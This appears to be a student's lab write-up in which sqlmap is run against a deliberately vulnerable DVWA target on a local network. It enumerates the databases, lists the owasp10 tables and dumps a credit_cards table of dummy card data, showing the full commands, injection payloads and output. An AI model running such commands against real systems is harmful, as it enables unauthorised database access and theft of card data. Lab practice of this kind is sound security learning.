

```
(tkbw@vbox)-[~]
$ sqlmap -u "http://192.168.1.5/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=38d536091c3d6a7ba78f6362eca35d91;security=low" -dbs

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 06:57:45 /2024-12-19/

[06:57:46] [INFO] testing connection to the target URL
[06:57:46] [INFO] testing if the target URL content is stable
[06:57:47] [INFO] target URL content is stable
[06:57:47] [INFO] testing if GET parameter 'id' is dynamic
[06:57:47] [WARNING] GET parameter 'id' does not appear to be dynamic
[06:57:47] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[06:57:47] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (XSS) attacks
[06:57:47] [INFO] testing for SQL injection on GET parameter 'id'
```

=> Try to enter and read web pages for me to show them

```
Type: UNION query
Title: MySQL UNION query (NULL) - 2 columns
Payload: id=1' UNION ALL SELECT CONCAT(0x7178707171,0x724376707147756a776c6b746a41496e54694a78567943566e626a4d4c7561474a6e6473715a4b46,0x7162786a71),NULL#&Submit=Submit

[07:02:41] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: Apache 2.2.8, PHP 5.2.4
back-end DBMS: MySQL >= 4.1
[07:02:42] [INFO] fetching database names
available databases [7]:
[*] dvwa
[*] information_schema
[*] metasploit
[*] mysql
[*] owaspi0
[*] tikiwiki
[*] tikiwiki195

[07:02:42] [INFO] fetched data logged to text files under '/home/tkbw/.local/share/sqlmap/output/192.168.1.5'

[*] ending @ 07:02:42 /2024-12-19/
```

=> Is found available databases (7)

sqlmap: error: no such option: --tables

```
(tkbw@vbox)-[~]
$ sqlmap -u "http://192.168.1.5/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=38d536091c3d6a7ba78f6362eca35d91" --security=low -D owasp10 --tables
```

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[\*] starting @ 07:07:33 /2024-12-19/

[07:07:34] [INFO] resuming back-end DBMS 'mysql'  
[07:07:34] [INFO] testing connection to the target URL

[07:07:34] [INFO] the back-end DBMS is MySQL  
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)  
web application technology: Apache 2.2.8, PHP 5.2.4  
back-end DBMS: MySQL ≥ 4.1

[07:07:34] [INFO] fetching tables for database: 'owasp10'

[07:07:35] [WARNING] reflective value(s) found and filtering out

Database: owasp10

[6 tables]

```
+-----+
| accounts      |
| blogs_table   |
| captured_data |
| credit_cards  |
| hitlog        |
| pen_test_tools|
+-----+
```

=> to checked the tables and numbers in this data

```
(tkbw@vbox)-[~]
$ sqlmap -u "http://192.168.1.5/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=38d536091c3d6a7ba78f6362eca35d91" --security=low -D owasp10 -T credit_cards --dump

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 07:10:02 /2024-12-19/

[07:10:03] [INFO] resuming back-end DBMS 'mysql'
[07:10:03] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
Parameter: id (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
Payload: id=1' OR '1'='1'

[07:10:04] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8
back-end DBMS: MySQL >= 4.1
[07:10:04] [INFO] fetching columns for table 'credit_cards' in database 'owasp10'
[07:10:04] [WARNING] reflective value(s) found and filtering out
[07:10:04] [INFO] fetching entries for table 'credit_cards' in database 'owasp10'
Database: owasp10
Table: credit_cards
[5 entries]
+-----+-----+-----+-----+
| ccid | ccv | ccnumber | expiration |
+-----+-----+-----+-----+
| 1 | 745 | 4444111122223333 | 2012-03-01 |
| 2 | 722 | 7746536337776330 | 2015-04-01 |
| 3 | 461 | 8242325748474749 | 2016-03-01 |
| 4 | 230 | 7725653200487633 | 2017-06-01 |
| 5 | 627 | 1234567812345678 | 2018-11-01 |
+-----+-----+-----+-----+

[07:10:05] [INFO] table 'owasp10.credit_cards' dumped to CSV file '/home/tkbw/.local/share/8.1.5/dump/owasp10/credit_cards.csv'
[07:10:05] [INFO] fetched data logged to text files under '/home/tkbw/.local/share/'

[*] ending @ 07:10:05 /2024-12-19/
```

=> to finde Extract  
data of all credit card

عبدالرحمن حسام / 2305573